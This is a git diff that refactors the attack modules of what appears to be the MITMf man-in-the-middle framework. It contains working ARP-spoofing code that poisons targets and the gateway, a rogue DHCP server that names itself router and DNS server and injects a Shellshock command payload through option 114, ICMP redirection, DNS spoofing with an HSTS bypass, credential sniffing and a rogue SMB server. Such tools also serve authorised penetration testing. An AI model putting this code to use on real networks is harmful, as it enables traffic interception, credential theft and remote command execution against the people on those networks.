print_str = '[{} > {}] {}'.format(src_ip_port, dst_ip_port, msg)
# All credentials will have dst_ip_port, URLs will not
- log.info("[NetCreds] {}".format(print_str))
+ log.info("{}".format(print_str))
else:
print_str = '[{}] {}'.format(src_ip_port.split(':')[0], msg)
- log.info("[NetCreds] {}".format(print_str))
+ log.info("{}".format(print_str))
diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py
index a027f45..1a937a0 100644
--- a/core/poisoners/arp/ARPpoisoner.py
+++ b/core/poisoners/arp/ARPpoisoner.py
@@ -16,15 +16,12 @@
# USA
#
-import threading
import logging
-
-from traceback import print_exc
+import threading
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from core.logger import logger
-from core.utils import set_ip_forwarding, iptables
from time import sleep
-from scapy.all import ARP, send, sendp, sniff, getmacbyip
+from scapy.all import *
formatter = logging.Formatter("%(asctime)s [ARPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ARPpoisoner", formatter)
@@ -36,78 +33,101 @@ class ARPpoisoner:
version = '0.1'
def __init__(self, options):
-
try:
self.gatewayip = str(IPAddress(options.gateway))
except AddrFormatError as e:
sys.exit("Specified an invalid IP address as gateway")
self.gatewaymac = getmacbyip(options.gateway)
- self.targets = self.get_target_range(options.targets)
+ if self.gatewaymac is None: sys.exit("Error: Could not resolve gateway's MAC address")
+
+ self.ignore = self.get_range(options.ignore)
+ if self.ignore is None: self.ignore = []
+
+ self.targets = self.get_range(options.targets)
self.arpmode = options.arpmode
self.debug = False
self.send = True
self.interval = 3
self.interface = options.interface
+ self.myip = options.ip
self.mymac = options.mac
-
- if self.gatewaymac is None:
- sys.exit("Error: Could not resolve gateway's MAC address")
+ self.arp_cache = {}
log.debug("gatewayip => {}".format(self.gatewayip))
log.debug("gatewaymac => {}".format(self.gatewaymac))
log.debug("targets => {}".format(self.targets))
+ log.debug("ignore => {}".format(self.ignore))
+ log.debug("ip => {}".format(self.myip))
log.debug("mac => {}".format(self.mymac))
log.debug("interface => {}".format(self.interface))
log.debug("arpmode => {}".format(self.arpmode))
log.debug("interval => {}".format(self.interval))
- set_ip_forwarding(1)
- iptables().flush()
- iptables().http(options.port)
+ def start(self):
+
+ #create a L3 and L2 socket, to be used later to send ARP packets
+ #this doubles performance since send() and sendp() open and close a socket on each packet
+ self.s = conf.L3socket(iface=self.interface)
+ self.s2 = conf.L2socket(iface=self.interface)
if self.arpmode == 'rep':
- t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep)
+ t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
elif self.arpmode == 'req':
- t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req)
+ t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
t.setDaemon(True)
t.start()
if self.targets is None:
+ log.debug('Starting ARPWatch')
t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
t.setDaemon(True)
t.start()
- def get_target_range(self, targets):
+ def get_range(self, targets):
if targets is None:
return None
try:
- targetList = []
+ target_list = []
for target in targets.split(','):
if '/' in target:
- targetList.append(IPNetwork(target))
+ target_list.extend(list(IPNetwork(target)))
elif '-' in target:
- first_half = target.split('-')[0]
- second_half = first_half + target.split('-')[1]
- targetList.append(IPRange(first_half, second_half))
+ start_addr = IPAddress(target.split('-')[0])
+ try:
+ end_addr = IPAddress(target.split('-')[1])
+ ip_range = IPRange(start_addr, end_addr)
+ except AddrFormatError:
+ end_addr = list(start_addr.words)
+ end_addr[-1] = target.split('-')[1]
+ end_addr = IPAddress('.'.join(map(str, end_addr)))
+ ip_range = IPRange(start_addr, end_addr)
+
+ target_list.extend(list(ip_range))
else:
- targetList.append(IPAddress(target))
+ target_list.append(IPAddress(target))
- return targetList
- except AddrFormatError as e:
+ return target_list
+
+ except AddrFormatError:
sys.exit("Specified an invalid IP address/range/network as target")
def start_arp_watch(self):
- sniff(prn=self.arp_watch_callback, filter="arp", store=0)
+ try:
+ sniff(prn=self.arp_watch_callback, filter="arp", store=0)
+ except Exception as e:
+ if "Interrupted system call" not in e:
+ log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e))
+ pass
def arp_watch_callback(self, pkt):
- if self.send is True: #Prevents sending packets on exiting
+ if self.send is True:
if ARP in pkt and pkt[ARP].op == 1: #who-has only
#broadcast mac is 00:00:00:00:00:00
packet = None
@@ -117,7 +137,7 @@ class ARPpoisoner:
#print str(pkt[ARP].pdst) #ip of destination (Who is ...?)
if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)):
- log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc))
+ log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc))
#send repoison packet
packet = ARP()
packet.op = 2
@@ -126,7 +146,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].psrc)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)):
- log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst))
+ log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst))
#send repoison packet
packet = ARP()
packet.op = 2
@@ -135,7 +155,7 @@ class ARPpoisoner:
packet.pdst = str(pkt[ARP].pdst)
elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)):
- log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst))
+ log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst))
packet = ARP()
packet.op = 2
@@ -145,165 +165,87 @@ class ARPpoisoner:
try:
if packet is not None:
- send(packet, verbose=self.debug, iface=self.interface)
+ self.s.send(packet)
except Exception as e:
if "Interrupted system call" not in e:
log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e))
- pass
- def poison_arp_rep(self):
+ def resolve_target_mac(self, targetip):
+ targetmac = None
+
+ try:
+ targetmac = self.arp_cache[targetip] # see if we already resolved that address
+ log.debug('{} has already been resolved'.format(targetip))
+ except KeyError:
+ #This following replaces getmacbyip(), much faster this way
+ packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
+ try:
+ resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False)
+ except Exception as e:
+ resp= ''
+ if "Interrupted system call" not in e:
+ log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
+
+ if len(resp) > 0:
+ targetmac = resp[0][1].hwsrc
+ self.arp_cache[targetip] = targetmac # shove that address in our cache
+ log.debug("Resolved {} => {}".format(targetip, targetmac))
+ else:
+ log.debug("Unable to resolve MAC address of {}".format(targetip))
+
+ return targetmac
+
+ def poison(self, arpmode):
+ sleep(2)
while self.send:
if self.targets is None:
- pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at")
- sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
+ self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
elif self.targets:
- #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it
for target in self.targets:
+ targetip = str(target)
- if type(target) is IPAddress:
- targetip = str(target)
+ if (targetip != self.myip) and (target not in self.ignore):
+ targetmac = self.resolve_target_mac(targetip)
- try:
- targetmac = getmacbyip(targetip)
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
- send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
-
- except Exception as e:
- if "Interrupted system call" not in e:
- log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- pass
-
- if (type(target) is IPRange) or (type(target) is IPNetwork):
- for targetip in target:
+ if targetmac is not None:
try:
- targetmac = getmacbyip(str(targetip))
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
- send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
-
+ log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
+ self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
+ self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- print_exc()
- pass
sleep(self.interval)
- def poison_arp_req(self):
- while self.send:
-
- if self.targets is None:
- pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has")
- sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2
-
- elif self.targets:
-
- for target in self.targets:
-
- if type(target) is IPAddress:
- targetip = str(target)
- try:
- targetmac = getmacbyip(targetip)
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
- send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
-
- except Exception as e:
- if "Interrupted system call" not in e:
- log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- pass
-
- if (type(target) is IPRange) or (type(target) is IPNetwork):
- for targetip in target:
- try:
- targetmac = getmacbyip(str(targetip))
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
- send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
-
- except Exception as e:
- if "Interrupted system call" not in e:
- log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- pass
-
- sleep(self.interval)
-
- def options(self, options):
- options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address')
- options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]')
- options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
-
- def on_shutdown(self, options):
+ def stop(self):
self.send = False
sleep(3)
- self.interval = 1
- count = 5
+ count = 2
- if self.targets:
+ if self.targets is None:
+ log.info("Restoring subnet connection with {} packets".format(count))
+ pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
+ for i in range(0, count):
+ self.s2.send(pkt)
+
+ elif self.targets:
for target in self.targets:
+ targetip = str(target)
+ targetmac = self.resolve_target_mac(targetip)
- if type(target) is IPAddress:
- targetip = str(target)
-
+ if targetmac is not None:
+ log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
try:
- targetmac = getmacbyip(targetip)
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
-
- send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
- send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
-
+ for i in range(0, count):
+ self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac))
+ self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac))
except Exception as e:
if "Interrupted system call" not in e:
log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- pass
- if (type(target) is IPRange) or (type(target) is IPNetwork):
- for targetip in target:
- try:
- targetmac = getmacbyip(str(targetip))
-
- if targetmac is None:
- log.debug("Unable to resolve MAC address of {}".format(targetip))
-
- elif targetmac:
- log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
-
- send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
- send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
-
- except Exception as e:
- if "Interrupted system call" not in e:
- log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
- pass
-
- elif self.targets is None:
- log.info("Restoring subnet connection with {} packets".format(count))
- pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at")
- sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2
-
- set_ip_forwarding(0)
- iptables().flush()
+ #close the sockets
+ self.s.close()
+ self.s2.close()
diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py
index d5d74d4..6871384 100644
--- a/core/poisoners/dhcp/DHCPpoisoner.py
+++ b/core/poisoners/dhcp/DHCPpoisoner.py
@@ -20,6 +20,8 @@ import logging
import threading
import binascii
import random
+
+from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError
from core.logger import logger
from scapy.all import *
@@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter)
class DHCPpoisoner():
- def __init__(self, interface, dhcpcfg, ip, mac):
- self.interface = interface
- self.ip_address = ip
- self.mac_address = mac
- self.shellshock = None
- self.debug = False
- self.dhcpcfg = dhcpcfg
- self.rand_number = []
- self.dhcp_dic = {}
+ def __init__(self, options, dhcpcfg):
+ self.interface = options.interface
+ self.ip_address = options.ip
+ self.mac_address = options.mac
+ self.shellshock = options.shellshock
+ self.debug = False
+ self.dhcpcfg = dhcpcfg
+ self.dhcp_dic = {}
- def start(self):
- t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
- t.setDaemon(True)
- t.start()
+ log.debug("interface => {}".format(self.interface))
+ log.debug("ip => {}".format(self.ip_address))
+ log.debug("mac => {}".format(self.mac_address))
+ log.debug("shellshock => {}".format(self.shellshock))
+ log.debug("dhcpcfg => {}".format(self.dhcpcfg))
- def dhcp_sniff(self, interface):
- sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
+ def start(self):
+ self.s2 = conf.L2socket(iface=self.interface)
- def dhcp_rand_ip(self):
- pool = self.dhcpcfg['ip_pool'].split('-')
- trunc_ip = pool[0].split('.'); del(trunc_ip[3])
- max_range = int(pool[1])
- min_range = int(pool[0].split('.')[3])
- number_range = range(min_range, max_range)
- for n in number_range:
- if n in self.rand_number:
- number_range.remove(n)
- rand_number = random.choice(number_range)
- self.rand_number.append(rand_number)
- rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
+ t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff)
+ t.setDaemon(True)
+ t.start()
- return rand_ip
+ def stop(self):
+ self.s2.close()
- def dhcp_callback(self, resp):
- if resp.haslayer(DHCP):
- xid = resp[BOOTP].xid
- mac_addr = resp[Ether].src
- raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
- if xid in self.dhcp_dic.keys():
- client_ip = self.dhcp_dic[xid]
- else:
- client_ip = self.dhcp_rand_ip()
- self.dhcp_dic[xid] = client_ip
+ def dhcp_sniff(self):
+ try:
+ sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface)
+ except Exception as e:
+ if "Interrupted system call" not in e:
+ log.error("Exception occurred while poisoning: {}".format(e))
- if resp[DHCP].options[0][1] is 1:
- log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
- log.info("Sending DHCP OFFER")
- packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
- IP(src=self.ip_address, dst='255.255.255.255') /
- UDP(sport=67, dport=68) /
- BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
- DHCP(options=[("message-type", "offer"),
- ('server_id', self.ip_address),
- ('subnet_mask', self.dhcpcfg['subnet']),
- ('router', self.ip_address),
- ('lease_time', 172800),
- ('renewal_time', 86400),
- ('rebinding_time', 138240),
- "end"]))
+ def dhcp_rand_ip(self):
+ pool = self.dhcpcfg['ip_pool']
+ try:
+ if '/' in pool:
+ ips = list(IPNetwork(pool))
+ return str(random.choice(ips))
- try:
- packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
- except KeyError:
- pass
+ elif '-' in pool:
+ start_addr = IPAddress(pool.split('-')[0])
+ try:
+ end_addr = IPAddress(pool.split('-')[1])
+ ips = list(IPRange(start_addr, end_addr))
+ except AddrFormatError:
+ end_addr = list(start_addr.words)
+ end_addr[-1] = pool.split('-')[1]
- sendp(packet, iface=self.interface, verbose=self.debug)
+ end_addr = IPAddress('.'.join(map(str, end_addr)))
+ ips = list(IPRange(start_addr, end_addr))
- if resp[DHCP].options[0][1] is 3:
- log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
- packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
- IP(src=self.ip_address, dst='255.255.255.255') /
- UDP(sport=67, dport=68) /
- BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
- DHCP(options=[("message-type", "ack"),
- ('server_id', self.ip_address),
- ('subnet_mask', self.dhcpcfg['subnet']),
- ('router', self.ip_address),
- ('lease_time', 172800),
- ('renewal_time', 86400),
- ('rebinding_time', 138240)]))
+ return str(random.choice(ips))
- try:
- packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
- except KeyError:
- pass
+ log.error('Specified invalid CIDR/Network range in DHCP pool option')
+ except AddrFormatError:
+ log.error('Specified invalid CIDR/Network range in DHCP pool option')
- if self.shellshock:
- log.info("Sending DHCP ACK with shellshock payload")
- packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
- packet[DHCP].options.append("end")
- else:
- log.info("Sending DHCP ACK")
- packet[DHCP].options.append("end")
+ def dhcp_callback(self, resp):
+ if resp.haslayer(DHCP):
+ log.debug('Saw a DHCP packet')
+ xid = resp[BOOTP].xid
+ mac_addr = resp[Ether].src
+ raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
- sendp(packet, iface=self.interface, verbose=self.debug)
\ No newline at end of file
+ if xid in self.dhcp_dic.keys():
+ client_ip = self.dhcp_dic[xid]
+ else:
+ client_ip = self.dhcp_rand_ip()
+ self.dhcp_dic[xid] = client_ip
+
+ if resp[DHCP].options[0][1] == 1:
+ log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
+ log.info("Sending DHCP OFFER")
+
+ packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
+ IP(src=self.ip_address, dst='255.255.255.255') /
+ UDP(sport=67, dport=68) /
+ BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
+ DHCP(options=[("message-type", "offer"),
+ ('server_id', self.ip_address),
+ ('subnet_mask', self.dhcpcfg['subnet']),
+ ('router', self.ip_address),
+ ('name_server', self.ip_address),
+ ('dns_server', self.ip_address),
+ ('lease_time', 172800),
+ ('renewal_time', 86400),
+ ('rebinding_time', 138240),
+ "end"]))
+
+ self.s2.send(packet)
+
+ if resp[DHCP].options[0][1] == 3:
+ log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
+
+ packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
+ IP(src=self.ip_address, dst='255.255.255.255') /
+ UDP(sport=67, dport=68) /
+ BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
+ DHCP(options=[("message-type", "ack"),
+ ('server_id', self.ip_address),
+ ('subnet_mask', self.dhcpcfg['subnet']),
+ ('router', self.ip_address),
+ ('name_server', self.ip_address),
+ ('dns_server', self.ip_address),
+ ('lease_time', 172800),
+ ('renewal_time', 86400),
+ ('rebinding_time', 138240)]))
+
+ if self.shellshock:
+ log.info("Sending DHCP ACK with shellshock payload")
+ packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
+ packet[DHCP].options.append("end")
+ else:
+ log.info("Sending DHCP ACK")
+ packet[DHCP].options.append("end")
+
+ self.s2.send(packet)
diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py
index 94a9986..9232bad 100644
--- a/core/poisoners/icmp/ICMPpoisoner.py
+++ b/core/poisoners/icmp/ICMPpoisoner.py
@@ -18,26 +18,22 @@
import logging
import threading
-import binascii
-import random
-from base64 import b64decode
-from urllib import unquote
from time import sleep
from core.logger import logger
-from scapy.all import *
+from scapy.all import IP, ICMP, UDP, sendp
formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("ICMPpoisoner", formatter)
class ICMPpoisoner():
- def __init__(self, interface, target, gateway, ip_address):
+ def __init__(self, options):
- self.target = target
- self.gateway = gateway
- self.interface = interface
- self.ip_address = ip_address
+ self.target = options.target
+ self.gateway = options.gateway
+ self.interface = options.interface
+ self.ip_address = options.ip
self.debug = False
self.send = True
self.icmp_interval = 2
diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py
index 0dc9083..d1576f7 100644
--- a/core/sergioproxy/ProxyPlugins.py
+++ b/core/sergioproxy/ProxyPlugins.py
@@ -52,6 +52,7 @@ class ProxyPlugins:
plugin_mthds = {}
plugin_list = []
+ all_plugins = []
__shared_state = {}
diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py
index fc19c42..fe410fd 100755
--- a/core/servers/dns/DNSchef.py
+++ b/core/servers/dns/DNSchef.py
@@ -47,7 +47,7 @@ from core.logger import logger
from mitmflib.dnslib import *
from IPy import IP
-formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("DNSChef", formatter)
# DNSHandler Mixin. The class contains generic functions to parse DNS requests and
@@ -300,6 +300,8 @@ class DNSHandler():
# Obtain a response from a real DNS server.
def proxyrequest(self, request, host, port="53", protocol="udp"):
+ clientip = {'clientip': self.client_address[0]}
+
reply = None
try:
if DNSChef().ipv6:
@@ -337,12 +339,13 @@ class DNSHandler():
sock.close()
- except Exception, e:
+ except Exception as e:
log.warning("Could not proxy request: {}".format(e), extra=clientip)
else:
return reply
def hstsbypass(self, real_domain, fake_domain, nameservers, d):
+ clientip = {'clientip': self.client_address[0]}
log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip)
@@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher):
self.startUDP()
except socket.error as e:
if "Address already in use" in e:
- shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
+ shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port']))
# Initialize and start the DNS Server
def startUDP(self):
diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py
index 923977f..28f3396 100644
--- a/core/servers/http/HTTPserver.py
+++ b/core/servers/http/HTTPserver.py
@@ -17,13 +17,16 @@
#
import logging
import threading
+import sys
+from core.utils import shutdown
from core.configwatcher import ConfigWatcher
from flask import Flask
class HTTPserver(ConfigWatcher):
server = Flask("HTTPserver")
+ func_list = []
__shared_state = {}
@@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher):
self.__dict__ = self.__shared_state
def start_flask(self):
+
+ @self.server.route('/', defaults={'path': '/'})
+ @self.server.route('/')
+ def catch_all(path):
+ for func in self.func_list:
+ resp = func(path)
+ if resp:
+ return resp
+ return path
+
self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port']))
def start(self):
@@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher):
server_thread.setDaemon(True)
server_thread.start()
+ def add_endpoint(self, function):
+ self.func_list.append(function)
+
def setup_http_logger(self):
formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
flask_logger = logging.getLogger('werkzeug')
diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py
old mode 100644
new mode 100755
index d363c93..446e131
--- a/core/servers/smb/KarmaSMB.py
+++ b/core/servers/smb/KarmaSMB.py
@@ -49,14 +49,16 @@
# hosting. *CAREFUL!!!*
#
+
import sys
import os
import argparse
import logging
import ntpath
import ConfigParser
+from threading import Thread
-from mitmflib.impacket import LOG as logger
+from mitmflib.impacket.examples import logger
from mitmflib.impacket import smbserver, smb, version
import mitmflib.impacket.smb3structs as smb2
from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
@@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC
from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
getFileTime, queryPathInformation
-class KarmaSMBServer():
+
+class KarmaSMBServer(Thread):
def __init__(self, smb_challenge, smb_port, smb2Support = False):
+ Thread.__init__(self)
self.server = 0
self.defaultFile = None
self.extensions = {}
@@ -105,7 +109,7 @@ class KarmaSMBServer():
if smb2Support:
smbConfig.set("global", "SMB2Support", "True")
- self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig)
+ self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig)
self.server.processConfigFile()
# Unregistering some dangerous and unwanted commands
@@ -144,7 +148,6 @@ class KarmaSMBServer():
respSetup = ''
respParameters = ''
respData = ''
- errorCode = STATUS_SUCCESS
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
# 1. Let's grab the extension and map the file's contents we will deliver
@@ -159,11 +162,6 @@ class KarmaSMBServer():
else:
targetFile = self.defaultFile
- if (len(data) > 0):
- findFirst2Data = smb.SMBFindFirst2_Data(data)
- else:
- findFirst2Data = ''
-
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
@@ -282,9 +280,7 @@ class KarmaSMBServer():
errorCode = 0
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
- if len(data) > 0:
- queryPathInfoData = smb.SMBQueryPathInformation_Data(data)
-
+
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
path = ''
try:
@@ -327,7 +323,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
# We're closing the connection trying to flush the client's
# cache.
- if connData['MS15011']['StopConnection'] == True:
+ if connData['MS15011']['StopConnection'] is True:
return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED
return self.origsmb2Close(connId, smbServer, recvPacket)
@@ -391,7 +387,7 @@ class KarmaSMBServer():
connData = smbServer.getConnectionData(connId)
respSMBCommand = smb2.SMB2QueryDirectory_Response()
- queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
+ #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data'])
errorCode = 0xff
respSMBCommand['Buffer'] = '\x00'
diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py
index 1cd78b9..0d238ca 100644
--- a/core/servers/smb/SMBserver.py
+++ b/core/servers/smb/SMBserver.py
@@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher):
try:
if self.mode == 'normal':
- formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
+ formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
self.conf_impacket_logger(formatter)
